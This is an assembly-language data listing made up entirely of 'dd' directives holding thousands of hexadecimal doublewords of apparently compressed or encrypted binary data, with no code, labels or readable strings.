		dd 0BFC800CCh, 101E4E46h, 82144F6Fh, 0DC3E55h, 48C6CFBBh
		dd 249F4636h, 807C3072h, 0C0A2F88Dh, 5A01ACFAh,	2921FF2Dh
		dd 9130BAF5h, 4723006Fh, 0A4873497h, 0E40E9CCCh, 4FD29009h
		dd 0A8747Bh, 0E1ADD0DCh, 15B13Fh, 0C14C4954h, 94EF4A2Eh
		dd 19141F00h, 0C240D3A4h, 0DD7A3FF9h, 20F58196h, 0E2E67D08h
		dd 88F30502h, 7C6532DBh, 0F685397Ch, 15DCC04h, 10613580h
		dd 1417C88Fh, 0F07979ECh, 0A0787B00h, 0A85D20DDh, 0F2B400B5h
		dd 0B0A9FCD0h, 3E07ACE3h, 0C10712E6h, 60D0EA05h, 4152753h
		dd 0C2308729h, 6838A173h, 385DF4h, 0CDAE15F0h, 4CDF80B9h
		dd 0B24E8BFh, 53E58334h, 98C2ED4Eh, 0BAC95043h,	0F6BFD4E7h
		dd 0C235C602h, 0E012A51Bh, 2EF6119h, 0E5C4DDC1h, 0DEE1F301h
		dd 0BD93E4FCh, 0FBECD700h, 0BC8D5224h, 0B99107BBh, 317DEB47h
		dd 0F09EF05Dh, 3F17F7B0h, 5C04CCD7h, 0B880FC0Eh, 39EDA07Fh
		dd 0D9003A58h, 576144EEh, 524975E0h, 40907E54h,	0E5FE730Fh
		dd 14E8035Ch, 871BE12Eh, 8DB430h, 6D2F3D8Ch, 6CCF76ACh
		dd 98BCF500h, 5E302C93h, 0B94A1714h, 223C00CAh,	0DF6BBAE3h
		dd 0BE05C9E6h, 0A4D8AA54h, 4A37FA80h, 0CB9D0094h, 4F1F195Fh
		dd 9612DBC3h, 0B4F0D6EFh, 38500008h, 0F8D0C48Dh, 9B4B5312h
		dd 86D80F00h, 1680D15Eh, 0B201AFBh, 9C841550h, 2C4BCD6h
		dd 83277763h, 11E86172h, 0C48030h, 85CFE06Ch, 28BBD7FEh
		dd 8EF4B0A0h, 0B4BDE400h, 94BA36F0h, 223313C3h,	9310808Ch
		dd 0C500A52Eh, 9DFF7832h, 0B0CAA77Ch, 0E0777Dh,	8FE36E87h
		dd 0FA8B51B2h, 0EE62EE8h, 0E1705707h, 0BE211330h, 8843AB65h
		dd 0DA3C03CEh, 6CC3259Ch, 309DCFD9h, 8100E415h,	0F7C542C2h
		dd 38D3BFDh, 51780810h,	0A80E8E39h, 0CAC21372h,	0EB81D4B0h
		dd 0AC29FB6Ah, 7241F040h, 6E860042h, 0DDF0D43Eh, 0AA001B7Fh
		dd 30B85A10h, 0FEF1B285h, 75E9004Ah, 6993FE48h,	55006079h
		dd 0C63899D1h, 4BC8A46Fh, 1BCF4h, 0C3A8F26Ah, 3969F3h
		dd 0AB423499h, 0AA4A8B45h, 4124B900h, 781A3BF0h, 0BB720052h
		dd 3A687FCAh, 42096A66h, 8E159A04h, 0E6982450h,	0AB0004A8h
		dd 41DBDF3Fh, 8C01F189h, 9362F3BCh, 28802C21h, 5639389Ah
		dd 7E770774h, 0B10081E4h, 0BF4389F5h, 986FB5C4h, 0F77B3Eh
		dd 1329D9F0h, 4577C33Ah, 0BC00797Bh, 5F619628h,	702D85B7h
		dd 0D04D483Dh, 0CEB17700h, 27493346h, 4322C602h, 0D43E6155h
		dd 0C3900098h, 4B212A2h, 8028BE1Dh, 295C48A7h, 0F4FA49EBh
		dd 0FD0A2658h, 8BC4FBCBh, 8A0F02Ah, 0D0D7279Eh,	55FC9618h
		dd 99A9368h, 32FA109Bh,	57632080h, 64041925h, 0E5067B8Ch
		dd 0D6CB0C0h, 0D0920136h, 0EDB6FC26h, 0C03182DEh, 0C3861C4Ch
		dd 35CF81D4h, 969E1983h, 41004E83h, 7D88E0B4h, 18F22057h
		dd 18E4D8F8h, 841AB501h, 0C1B8E718h, 7FF012D8h,	856F0F09h
		dd 0FFC026D1h, 501D5CA1h, 4800867Bh, 73973944h,	2928C62h
		dd 1ABC1F15h, 9881F4E9h, 30F37C8Bh, 4A30DA2Dh, 0A5EF5812h
		dd 6F41000Dh, 17D8C25h,	0D3275B19h, 0B5D689h, 9116CC55h
		dd 46013362h, 7092D653h, 0ACC4976Dh, 0B9DC2565h, 7E519082h
		dd 48E8D860h, 3AEDF200h, 52143D79h, 0CAD90230h,	0F7329485h
		dd 0C86CB941h, 88C8F980h, 0B8D14090h, 0EA58488Dh, 0AF110504h
		dd 249196E8h, 80E6D9EDh, 2F4A3E8Ch, 88755162h, 0A2DCDBE1h
		dd 7BF30A04h, 80F4D545h, 4D8E276Eh, 5827565Ch, 0A8F08076h
		dd 0DA90D1h, 0E8AA8063h, 71554D51h, 46E7D500h, 6C2C35DCh
		dd 0B3600BAh, 0E04AE81h, 730043D6h, 0FFE48ABBh,	6910D2h
		dd 8E933064h, 0A5089536h, 0D4866E1Fh, 9A9B5C44h, 0A8C63CC0h
		dd 9FA00E0h, 0A62428D3h, 43004AC0h, 0AC66DEB0h,	5A07ABh
		dd 2C34791Eh, 52C24B32h, 0A400865Ah, 42E4A98Eh,	35C7733h
		dd 0CCF6F7E8h, 0E19E010Fh, 22F58305h, 24C00A53h, 3F3A36C4h
		dd 0F90F751Dh, 1F20594Ah, 7B249CD9h, 1C91260Eh,	0B10A6049h
		dd 65F07Eh, 320393A4h, 0A88939FBh, 1612F698h, 20413D6Fh
		dd 5608505Dh, 9B0864h, 0E321E507h, 6E24C6FAh, 853CBE00h
		dd 37A305E1h, 1470009h,	2FE49459h, 0DA0CBF72h, 383B23A8h
		dd 0C7AB00E9h, 0E03C3F1Dh, 3090D795h, 947D8F00h, 49CF99FFh
		dd 9B80F1Ch, 328E50h, 1D3016CCh, 6D04BC4Bh, 0DCC3F62Ch
		dd 25088CC0h, 37B70343h, 6049FA2Bh, 854AD804h, 880E950h
		dd 3377B6h, 2C1D9DD8h, 7D93C7ECh, 0A0D0304Bh, 3B8AE18Ch
		dd 2087FC90h, 0D9E298C9h, 0E9EA9078h, 9880B0AAh, 56D013F2h
		dd 7387C30Eh, 157B6083h, 926DB731h, 0ECC70428h,	0E1403672h
		dd 0C346408h, 4A58E101h, 0EB28A1F0h, 7F03A028h,	0E05FACC4h
		dd 0ACCB7B8h, 24116558h, 0B50017FEh, 0DA88B9ABh, 59770FF6h
		dd 0CF3DF2D1h, 5A806D2Ch, 0CCBFF978h, 0C1031092h, 0D24FFF0h
		dd 678ED814h, 88423B65h, 15C3CD80h, 0CAA98BDBh,	6EB7EB01h
		dd 6B5F198Ah, 7F8830h, 0DCD09D74h, 5C2DC3D6h, 9B9C1A05h
		dd 0CF04C76h, 58B1CBF6h, 8D35D500h, 5500BB36h, 9DFCABFFh
		dd 9168CC4h, 307C286Bh
		dd 0C9501852h, 4A0F5388h, 0A0B05B1Bh, 853782F9h, 34DCA09Dh
		dd 0D68F0BC8h, 6780819Ch, 0B2F2F7ACh, 5809593Ah, 84DD009Ah
		dd 0E8221424h, 55C4790Dh, 5030A8E9h, 773C3C2Ah,	0DA68C800h
		dd 549D17ABh, 62806C00h, 0FD06340Ch, 318F1884h,	0A57DE829h
		dd 0C40E0EF8h, 4211DCB3h, 0DB55A819h, 9C9AB9F8h, 3980694Fh
		dd 0AC10BE90h, 0B8C9B4A8h, 0EFD0AF17h, 69407880h, 31506755h
		dd 6A9805Fh, 30284152h,	0A60AE861h, 348756CCh, 2080E6C4h
		dd 9C9DB8Dh, 97AB3C8Fh,	0BE033C78h, 0DDB714D9h,	2677F029h
		dd 99730082h, 0A00E2A85h, 6D78DB4Ch, 29A76300h,	0D6641E68h
		dd 9BF6057Fh, 83ACB2E3h, 6800B00Dh, 32C1445Ah, 4FC7154h
		dd 7C495662h, 0E3A209DBh, 0E2D3A0A8h, 5B30C9E6h, 0DDC2C00h
		dd 41032584h, 36F32FB1h, 780B474h, 0A3E3B8h, 953DF5C8h
		dd 0F35EA7BAh, 8FD0C652h, 0F0807707h, 1A9995h, 0EFE3C251h
		dd 84420FF5h, 75653D00h, 9ED809DCh, 0EE040C18h,	2278B760h
		dd 9B35A3A0h, 0C52ABC00h, 63E6E891h, 0B688006Bh, 0C02961D6h
		dd 12B09210h, 9E2C0A0Fh, 9BFB003Fh, 0B6B858h, 62D43379h
		dd 0F2A5F6C4h, 3E00E4EAh, 242DDE77h, 3B5F744h, 15192052h
		dd 2BE80C3Ah, 615034E4h, 552891E5h, 0DD1ED768h,	0A5D7116Ah
		dd 0B794E4C0h, 63B20EE7h, 13003A0Fh, 6835E697h,	42816500h
		dd 0ABCCA0ADh, 0B4340093h, 2FCFCA41h, 85FEC8B3h, 53592400h
		dd 7CCE58B1h, 0B64503B8h, 7195D37Eh, 0D41472E1h, 0CB00D04Ah
		dd 0AB08DE87h, 3E765410h, 2D00FCFBh, 5EF55677h,	0F4003FDDh
		dd 7F26EFC1h, 0E9AD85h,	5D594952h, 0B6A0FDBh, 320080F0h
		dd 0BD8E7DCFh, 7418F21h, 79F4B14h, 0F686A07Ah, 95005822h
		dd 96473211h, 0AE5C1Ah,	6A97BCFAh, 8EBAA4E7h, 7CB70F02h
		dd 0E087B4FFh, 0EE644CBh, 20919223h, 828F75A0h,	0C79876AFh
		dd 8041DB01h, 0F8CC3D61h, 30A4F02Ah, 3F3D8D7Bh,	11920C96h
		dd 0DAC0CFh, 27EDB7AAh,	2889DBA9h, 3805302Ch, 0F7B0C20Ah
		dd 0E8A5FE12h, 7455030h, 0C9BC784Eh, 8F6B3080h,	859FDF1Eh
		dd 58A0C490h, 3468C0FBh, 45670865h, 648E300h, 0D0F52DB0h
		dd 94430076h, 5B7B048Fh, 53DCB2Fh, 79800D1h, 0FB0E6236h
		dd 26AF1FDBh, 809C00F1h, 21F0D4FEh, 7C401024h, 0C140511Dh
		dd 378B708h, 0BB1F07B0h, 40666C70h, 0ADD52483h,	0A85A9624h
		dd 0C0484B09h, 130067Ch, 88B58CB2h, 0C07DB47Ah,	383C65E3h
		dd 51E0079Ch, 61F54E80h, 0A41E8C00h, 0F2BEE44h,	99ED7449h
		dd 8354B4F6h, 0E23F4022h, 2D401CFh, 2075606Dh, 86EC40B4h
		dd 82EE80D2h, 1864A009h, 50D4232Eh, 13F1A0ECh, 84B3321Ch
		dd 0D0F01448h, 0D3B61B00h, 9EC46401h, 725C1DD0h, 0B04E00A8h
		dd 1E8DBBEAh, 90039901h, 3A849BEFh, 9C4000C7h, 7D1A652Dh
		dd 2B1873DEh, 3C182EDFh, 48B7F036h, 3B1FC48Eh, 200A46F9h
		dd 0EC0348AFh, 3CE6ACB5h, 0A533C001h, 6FB81C79h, 0A37800DDh
		dd 87CE2BDEh, 2854634Dh, 5490D0EAh, 7BBDDB48h, 1B29500h
		dd 0D3574BB9h, 0AC10C0ADh, 0EE9F217Fh, 198D3400h, 9CA5DC89h
		dd 69C803FAh, 0CA2A9B17h, 0EB42C0B5h, 60008E61h, 0B24596F7h
		dd 1E471AA7h, 426440EEh, 0E8B1F9F0h, 7BCA1860h,	8F0010E4h
		dd 724F1BA9h, 0E3B604h,	65821366h, 0B0F18568h, 54CAED03h
		dd 0F01523EEh, 5CDCB6h,	732CAAB1h, 6905DF86h, 0F1D09Fh
		dd 0B2E1F6ECh, 0C841506Ah, 0DC4D4828h, 96C5B13Bh, 0C4007506h
		dd 1B6EDDA8h, 0EC6500C1h, 3283827Ch, 0EA0248B8h, 0ACA41573h
		dd 0C18C8EE8h, 0EB337F56h, 0F94CB083h, 0DC88D613h, 0BD00B665h
		dd 443AEF1Bh, 90F19454h, 0E4F30068h, 2231C204h,	1C74C68Ch
		dd 101AB600h, 29934ABAh, 0B50B0019h, 0FEC78AE0h, 0C948DE26h
		dd 5C3717ACh, 0AB983300h, 718856Ah, 0F4B95E50h,	0BAAF5089h
		dd 0F1004023h, 83CBA879h, 0DA42B2h, 0E0D4A0BEh,	0F3AEFB74h
		dd 9278BB00h, 5AF79C1Eh, 60AC072Ah, 0D02F8659h,	0CAF28746h
		dd 0E358CC90h, 42CC5050h, 7CE9AB0Bh, 73C872F8h,	0D6D00ACh
		dd 48FA97A0h, 0C43FBE76h, 249A1E0Bh, 4041CFD7h,	21182939h
		dd 7D1A9FCh, 7EEBAD4Dh,	37A7701Ah, 0C877E1FFh, 0D124EC2Ch
		dd 0BF453900h, 170DF006h, 21DCD759h, 0CEF26B74h, 0FA5EDC48h
		dd 1132051Fh, 0F6C8340h, 2EFC4B95h, 8010C53Fh, 96895C41h
		dd 49E65B53h, 0A8DA0700h, 77E516C7h, 1CDB006Eh,	0A029BAF7h
		dd 1207F9FEh, 0ED07C48Eh, 58A9A180h, 63F5186Fh,	0F3C2F089h
		dd 2A2EFAF4h, 3C8038DFh, 9504E262h, 7F54283Fh, 37B400ECh
		dd 19AED0FDh, 0DC2E0617h, 3301B95Fh, 0F2E4014Fh, 9BA0842Ch
		dd 0AA227C3Eh, 0A0B23958h, 380F3781h, 8632C47Dh, 40FDC080h
		dd 0C31E4810h, 1060A26h, 468BFCC8h, 28007A11h, 1B81A377h
		dd 0E825004Bh, 69E79A28h, 77EF3BCh, 7C2FB700h, 9FC75A2Dh
		dd 8374A48h, 0D3409B98h, 213D8D1h, 727F9ABAh, 402325h
		dd 0F4943F8Bh, 0A47E6180h, 0EE818702h, 3CFA032Bh, 7597D98Ch
		dd 3C4F88Dh, 0A4C8C769h, 39E80E58h, 70373B6Ah, 275C6EBCh
		dd 8D00B4BAh, 4FF8DB39h, 195A7AEh, 0D5AFF29Ch, 0EC5DD9DDh
		dd 0D7009917h, 3B696141h, 0F00911h, 0D2AA3CA1h,	9356FB31h
		dd 43B64600h, 0EB94A460h, 0C86860DDh, 0E2745D95h, 0E7765700h
		dd 0D89BCE8Eh, 162D30B6h, 0EEBEF620h, 61D7E501h, 8703A77Bh
		dd 1E30D021h, 15551FCCh, 80178E7h, 0CF5E7056h, 0FEDB201Dh
		dd 5006B63Bh, 0A0121288h, 3C059AE6h, 94C60B17h,	21F602D9h
		dd 0C7B6AF03h, 0A51C94C0h, 42D8500Ah, 940638F0h, 0ED312E23h
		dd 17FCACC0h, 1D288FF3h, 0EC75C1E0h, 0F5A0EFADh, 0E1A840F0h
		dd 9900D782h, 13CE3477h, 116CF1h, 0A1F6F935h, 0FC554D57h
		dd 0B8E957h, 0AE68522Eh, 12A7EDC2h, 4FD6530Fh, 0D0047544h
		dd 89ADC629h, 0E12CD803h, 0A8AF06D9h, 180436BBh, 4069BC2Dh
		dd 0FD01C4DEh, 0BA34AB3Bh, 0B0303261h, 474CDh, 5437D687h
		dd 0CEA0F4FDh, 57262E0Fh, 0ECE4E62Bh, 8E131D88h, 3BA2001Bh
		dd 927F42E7h, 8799FA00h, 0D3867902h, 0BA2C0C1Eh, 0C230E968h
		dd 1FB6DB02h, 0F546B330h, 0F6A83663h, 0BD28F5CFh, 0C100E0FAh
		dd 3106E4D2h, 14135C45h, 0F0EAB84Dh, 86963300h,	1CEE482Bh
		dd 15AE5800h, 0C2668538h, 0AA1B004Ah, 0C9C590A1h, 3E00481Ah
		dd 6B69910Dh, 0C0AD3B8Dh, 63429D80h, 213C02D2h,	0BD4389D9h
		dd 0AE78E049h, 0B7EB0E1Ah, 70D8F3F6h, 6F007DB5h, 54B3F937h
		dd 2D61B5Eh, 81882E20h,	0B8809349h, 5012A002h, 11FE841Ch
		dd 0F8A1ED07h, 0E5E1C4C0h, 623D07FFh, 0CFD1AA9Dh, 0BC339905h
		dd 980C0070h, 39CA929Eh, 0C1B8C054h, 0ADB2CFC5h, 58716500h
		dd 0F13E372h, 5B21133Bh, 6F4D003Dh, 23168F62h, 13308D62h
		dd 9B87183h, 10203287h,	71A32E90h, 9CA61D1Ch, 5700CF64h
		dd 345DD0EDh, 2C9F24B6h, 0D4CD1745h, 390F874h, 8F01679h
		dd 13A28885h, 56870019h, 0AD492C32h, 0C3035BCBh, 830C74E1h
		dd 5459EA25h, 3A1BC040h, 0A2029A6Ch, 0A01A634Dh, 0F8D1613Dh
		dd 0B40CC0E0h, 0AD1B00E0h, 2BAEAD2h, 0A97F3D06h, 80B45Fh
		dd 0BF390EA3h, 0BD38EFBEh, 0A1887500h, 0E02383B1h, 0DEF680h
		dd 40558DB6h, 0AACC2207h, 0F972E4EEh, 69540116h, 9B979403h
		dd 6BF89096h, 27D500E1h, 5B0D0B77h, 68CC8C89h, 264098A1h
		dd 7B7A46h, 9A7DFEC3h, 4F0022AFh, 0FC1215D6h, 7DE9FD19h
		dd 90314836h, 64554C00h
		dd 0A07F2C6Fh, 0EC41D507h, 2900C5A2h, 0C1DC58h,	8A3DD22Eh
		dd 0C2DAF49Bh, 1D035BF0h, 0E7785A3h, 0BA35F8F0h, 0EDBF04F5h
		dd 0C033D946h, 226FEE0Ch, 65003FFAh, 2B1C9BB8h,	7BFF3h
		dd 0F170AF1Dh, 73FB7AA7h, 1EAF500h, 34933D55h, 0BC1787Fh
		dd 0D10C096Dh, 68459400h, 73006652h, 2B8EBA70h,	695CBFh
		dd 9480744Eh, 5065BE2Dh, 73A0FF01h, 1610D3A2h, 9E82BDF4h
		dd 1D1B0E58h, 0ABE78FAEh, 0D0006B43h, 0ED35DDA9h, 1829AE4Fh
		dd 135995D4h, 0EBB2F617h, 0A8478E02h, 0B844C846h, 708107E1h
		dd 8216506Bh, 20E05AB7h, 0D13C91E8h, 0C187821Ah, 0D627B33Dh
		dd 38DD1A84h, 8B4A4E0h,	97035EE6h, 0AC625220h, 0A4212D42h
		dd 881E7C06h, 3488E404h, 0F8FCF971h, 0BC4826h, 0FFE20CABh
		dd 8E0086D5h, 0E207B87h, 570529h, 652A7019h, 5FDE9072h
		dd 0F6AC4709h, 0FAD8F080h, 2BA04477h, 2801ED7Fh, 4BAE5B57h
		dd 0F0D8742Eh, 38820015h, 0AA21C4F5h, 0F988D13h, 4235ED0Bh
		dd 32DC005Dh, 5F288AFCh, 17709077h, 0CD008F2Fh,	0A5B97C4Eh
		dd 38E6B02h, 365799BEh,	84C4AA75h, 0A8B812B8h, 79358050h
		dd 0EF7244h, 86B3B6BAh,	89F56538h, 750B5BF2h, 0C60AF11h
		dd 1EA1381Bh, 8B4E4BC3h, 458028DFh, 0CB1CE10Dh,	29109518h
		dd 0FA9D9B8h, 0C0CC4AE3h, 65183120h, 7C1FC717h,	41C1F3DBh
		dd 4289DCA8h, 2953CF0h,	0DFCE6014h, 8CC0312Bh, 7127D4ECh
		dd 1EA86073h, 6AAD3B9Fh, 8960BC00h, 7786A118h, 0B7097D1Ch
		dd 373CE640h, 9DCA8Dh, 3DEBADD6h, 9FC88C36h, 92E4D400h
		dd 2840329Ch, 3947120h,	31DDD7E7h, 16F83C4Dh, 0D802D56Ch
		dd 0F7D3E227h, 740E047h, 1D1809B2h, 28042CB4h, 302CC9EDh
		dd 7064D44h, 54BE7842h,	1F8E0321h, 0BCB9922Eh, 0D49CB1F1h
		dd 0AF00E582h, 0E90A80E6h, 0E357B5h, 5275C83Ah,	6764FAF6h
		dd 0F2BF1000h, 66C67FB0h, 0D3C70B21h, 180714FEh, 0C558C024h
		dd 4B01173Ah, 98F94D90h, 1420B307h, 14512686h, 0E3B70014h
		dd 0BE0DEA8Dh, 63854300h, 5CC30AFFh, 28A00ECh, 0B62422F5h
		dd 30C4109Eh, 0D5C1F089h, 272A4F0Dh, 5309D01Ch,	0AB092455h
		dd 1E60286h, 827D1380h,	7E7CE000h, 6EC8D2A0h, 0AA396B00h
		dd 988B12CAh, 1C3D70EAh, 8047843Ah, 736AB42Ah, 0CC3B2023h
		dd 0C03680DDh, 0CAEB1CC2h, 753D0024h, 182114BDh, 39287709h
		dd 8A0481ACh, 0E1927DBBh, 9B008CADh, 6B265B6Ch,	8C48B87Ch
		dd 90890088h, 255303D5h, 0A650008h, 0F205717h, 67D4A7Eh
		dd 0DAD7A71Fh, 93B112B9h, 31D80CC0h, 183A7481h,	506AC5D2h
		dd 51009F2Bh, 0F842D98Eh, 1C246089h, 5259D8D6h,	6738E097h
		dd 275398C2h, 0E156049h, 0C8481317h, 0CE80B0F8h, 6707F43h
		dd 0D96D869h, 0D60518CFh, 0FF618EDEh, 1ECB9C03h, 8C0AD8E4h
		dd 0E3D303A7h, 22764426h, 0A6B9609Fh, 0D6B820D9h, 40D80C34h
		dd 973EC0F8h, 80AAFA07h, 59029FA7h, 9CDEFFA4h, 2A24C680h
		dd 0AF6082h, 90A3BFD2h,	33A076FBh, 0D579B400h, 0BCBE241Eh
		dd 70620051h, 0A8105CD2h, 0E500F5E2h, 0AF5BB07Bh, 774B1A74h
		dd 9A4C00FCh, 0C88A542Ch, 0C89037F3h, 699C9400h, 8B62C17Bh
		dd 0A5871D06h, 68A48782h, 8E8900A1h, 1127656Fh,	7E8098Fh
		dd 0DE20D2DBh, 35F3B5h,	97D0943Eh, 849ACCDCh, 0C8903A7Fh
		dd 0EFFC9C09h, 0B0F050D7h, 0C7DF0160h, 3F6CB32h, 0AF98E420h
		dd 68704826h, 0E46A5D80h, 378577h, 25D8314Fh, 63B24295h
		dd 0E80E0476h, 0C0380CE2h, 0D0AB1EEFh, 0BA5A02DCh, 7AF2C1CBh
		dd 9412CE8h, 0B070E42Eh, 0FB2A7900h, 0B86177DEh, 86E8B658h
		dd 4E3E7C30h, 0D1F36600h, 0A72B92E0h, 33C300EAh, 0B1D6FA84h
		dd 5701CAACh, 6E313601h, 0ADE89BBAh, 257E7Eh, 0DF566DEEh
		dd 55D2C7B2h, 0EFD61200h, 0FE241815h, 76300774h, 0F0C257FAh
		dd 0C1B990CDh, 6E45DD01h, 0D9F99EFBh, 0C9B0030h, 0E03D23DAh
		dd 3F011521h, 0E21CBBA7h, 14933813h, 615CB012h,	829CBC00h
		dd 162BDEDFh, 0A87007B9h, 8040887Ch, 4246D63h, 12E55700h
		dd 3F5DC08Fh, 984E07DBh, 80A0A3E9h, 4D35AE41h, 1870034Ch
		dd 22B0F936h, 2F6B0352h, 0A9E94F30h, 0ABECFD80h, 0E0C5F830h
		dd 58D23F74h, 0C47634A0h, 0C07CA398h, 9BA0400h,	24790326h
		dd 54284400h, 95E5911h,	0D84396FAh, 0A36440E0h,	33E89201h
		dd 0C22BC569h, 0AB613080h, 8C8AE53Fh, 26E06D03h, 0A854A26Ch
		dd 44765Fh, 0BD73032Ch,	8437DA17h, 2F09289Ch, 0C8E805D1h
		dd 0F7D4E0h, 0CDF61C17h, 0EF5053EAh, 72980B0Fh,	21CB009Fh
		dd 4BB58E3Ch, 0DE38E4E1h, 896EE500h, 315C9C85h,	6CB31272h
		dd 0A580C070h, 0FF001BCFh, 0D653D795h, 30C73C8h, 593F2DCDh
		dd 80F8216Ch, 6800E9B3h, 0DED2AA71h, 0B1058D4h,	5D417814h
		dd 6F064CD2h, 66A2C3D1h, 6C472858h, 24BB13BDh, 0C0F81F09h
		dd 0AF9F96AEh, 0A800CB3Ah, 9CA2934Ch, 0F4DC27h,	13C5EA19h
		dd 747F335Fh, 5D89CB00h, 78206D96h, 8BCA094Bh, 78208C47h
		dd 2D46BB23h, 7770E097h, 0A1D3243Ah, 0B82C00B6h, 0DBC92482h
		dd 6E73AA09h, 0A0B10059h, 0B7E776BFh, 855BAC1Ch, 0FF65F880h
		dd 0F2E612D3h, 0DFE0E14Dh, 0FC0D7BB0h, 4080844Ah, 547058EDh
		dd 51A01Ch, 116E62F2h, 77208C9Eh, 0D25D0E00h, 0AFE68446h
		dd 0ABBA0031h, 14926479h, 1E58C318h, 0CFD200A4h, 2F362193h
		dd 0FF2400B4h, 407BB12Ch, 0D300BD01h, 2BB22879h, 13D07Ah
		dd 979DDBB7h, 0AA6DC022h, 199ECE00h, 0B209A428h, 2699003Fh
		dd 358FDB8Eh, 0D9037501h, 0B7EB0A58h, 0C9C80FD7h, 0A8203FF4h
		dd 0CFEADED4h, 0D389B04h, 1AED8ABh, 544072E0h, 0EE8EC8DBh
		dd 0C42084BDh, 0E9FC09AEh, 0C800045Eh, 76F4B844h, 0E6D42E58h
		dd 0D2691CA0h, 808CA3EBh, 94616F5Bh, 0A9A114E8h, 0E2009846h
		dd 8D18D783h, 4500BC26h, 0CD6F983Ch, 0DFEB50h, 0E8590CD8h
		dd 8B6BAC7Dh, 5A0D1B00h, 51A36608h, 0E6B81CA5h,	0C34D534Bh
		dd 55A8A044h, 0B5654463h, 94A8A8F0h, 0E09CD303h, 7290CE03h
		dd 0A31FD586h, 39422EF5h, 5E18734Ah, 0CA8A42DCh, 0F648277h
		dd 7964B80Eh, 4ED4021Ah, 8EC7CD0Ah, 0D0F0FCA9h,	866CD880h
		dd 7D858805h, 0F0000F06h, 0B1C74DBEh, 6E1007C9h, 0F17F2Bh
		dd 0BC67CC87h, 0F3EDF70Fh, 0F451E068h, 1302CA6h, 33A9F84Ah
		dd 3C9B2717h, 1D3B7884h, 0C7E289E5h, 25208FBDh,	49C01F59h
		dd 79D0D9Ch, 3BC83624h,	0DCEEDEC9h, 0B8EAF880h,	96004314h
		dd 2A22778Bh, 149B93Fh,	95452D2Fh, 0E8FA722Ch, 9773AF9Ch
		dd 63A5E600h, 0D3627F3Dh, 98470059h, 0EFA0716Ch, 90253ED4h
		dd 1CD0BFh, 7040B32Bh, 79B6C0E1h, 51F62F0Fh, 5BD66044h
		dd 9E5EBF8h, 0C7A1D964h, 0EC063100h, 0B6000B55h, 7AB48FDAh
		dd 0FFE1EEh, 954BDCA7h,	2C79ED14h, 349AA106h, 7DCC04Eh
		dd 5D0CF24Ah, 0B987C0EEh, 0DE03E3E5h, 0CF7C7988h, 0AA81E8F7h
		dd 4B6B0F01h, 0AE20EF72h, 78523513h, 18427A00h,	507BFBC8h
		dd 0D5EA33h, 0BA3DCE54h, 2180DEF0h, 73E243Eh, 99927007h
		dd 0E87E5CB0h, 2BC00009h, 0CD7DEB9h, 1000957Dh,	0FE512090h
		dd 39C31E9h, 0AE26D628h, 190084F4h, 0ABA385DDh,	0E6CCF0F2h
		dd 0F7D01E98h, 8DD40047h, 0F66A911Dh, 9033C100h, 1352ABFCh
		dd 381ECD6h, 27B1E67Ah,	2007D91Ch, 0BB7951D8h, 0DB19B0C1h
		dd 0BAD852EDh, 0FFB64C75h, 0A4F9A507h, 0EAE93033h, 4200418Dh
		dd 8F4DDBDAh, 0BAFE46h
		dd 0B64C7B5Bh, 6D717FECh, 0A45EA105h, 0C3AA5336h, 0D09FD459h
		dd 0D99FFA03h, 0EBF2B800h, 8B8F8AE0h, 0E8F220h,	0A0702F8Dh
		dd 1097211h, 0F9008474h, 0B335C791h, 0E2CC94h, 0AC5B676Dh
		dd 1A3A6955h, 85198013h, 0E000611Fh, 26AF2EC2h,	43B800FFh
		dd 0F6B22C5Bh, 85003D8Dh, 3191C611h, 0FCF99Dh, 7F590E08h
		dd 9C60F153h, 42583C0Fh, 1A0627D6h, 0E01A6707h,	0A8907901h
		dd 0B4F8BD4Eh, 220706A4h, 88DF687Ah, 8E97F00h, 2A8092Bh
		dd 42DB00BBh, 1FF75FBEh, 88396F10h, 0FAD29E8Bh,	3FB99F00h
		dd 90B0A734h, 3CEA7ECFh, 850020AFh, 6FF52F24h, 0EE7D482Eh
		dd 3D118800h, 1C54CCDh,	0B9A8095Dh, 0B500F643h,	382E77Fh
		dd 321E917Fh, 2CC01D05h, 5CF2D4DAh, 7B720F3Ah, 0CA40696Dh
		dd 436E5294h, 5E41B700h, 569212F6h, 42DC0057h, 173DF05Dh
		dd 2009FBAh, 3B7DE2B4h,	0C1EDFF62h, 68424518h, 0D2DCF0C8h
		dd 8E3F9F00h, 6DF0B5A1h, 2D77000Bh, 34807633h, 1C00BA22h
		dd 67C2B5Bh, 33B5198h, 5FB9DE60h, 880F72B3h, 209D781Ch
		dd 996CF8A0h, 84B507DAh, 204215A1h, 29809A72h, 8778020Eh
		dd 5F80FF95h, 0EE0BA7Ch, 37DEC016h, 51F9C01Eh, 19213E00h
		dd 0FCC58536h, 1B420054h, 0FE1C3C3Fh, 7E3BFA4Ah, 0B61E1FF0h
		dd 6027B380h, 1B17EEh, 25B74FC1h, 26A64962h, 14F4BE24h
		dd 5A58D300h, 73CCE93h,	9942374Fh, 8ECC80DBh, 0AE07DDC5h
		dd 6CF5C3E3h, 550D27E0h, 47533F32h, 570068C8h, 0D4FDEE12h
		dd 0B0009BBFh, 888267C3h, 9C799BEh, 0E309E136h,	0C83C830Ch
		dd 78D37D00h, 5831ED1Eh, 0FB280072h, 6A994DEEh,	38000A2Fh
		dd 0F559606Fh, 78FF0Bh,	7093B491h, 5F1601D8h, 3371E300h
		dd 1B0811F0h, 1E53EE9Bh, 8084D0ACh, 3DFDCBAh, 590021F9h
		dd 3982DB27h, 31CC9628h, 26CCB672h, 0E101C857h,	0F980EA01h
		dd 0C73F3124h, 0EC9430h, 23A4A689h, 0F211BD2Eh,	0BEF230F0h
		dd 81DAFF3Fh, 0D5A01EA2h, 7570DFCCh, 0F7A80F9Ch, 7DC03D6Dh
		dd 45162B76h, 6AC4390Fh, 172200DDh, 3161F8h, 0A49266E0h
		dd 8A87A283h, 0FD71E57Bh, 1643D000h, 0CACCD767h, 0F22658D8h
		dd 0E9B66600h, 1DF5A4C9h, 5139AD00h, 72ECD4D1h,	14980049h
		dd 4CC97BE7h, 0A600F3A3h, 2E42439h, 2E2E4893h, 112DAA0h
		dd 95077EEDh, 0C5B1E9E0h, 30C5F9A1h, 1700413Ch,	0CAB99E6Eh
		dd 0E2FDA21h, 2CCEE6C3h, 375F1B80h, 0F8004BCBh,	16AB5CFAh
		dd 72E17D14h, 54489Ch, 0CB6C8600h, 0B6254ECAh, 59039F00h
		dd 6F0A080Bh, 86E80034h, 74E6AC23h, 3C1F96FAh, 0FB80BBDAh
		dd 9D24082Eh, 0F36E003Fh, 3E0B25F4h, 0F0AB4593h, 41E858F0h
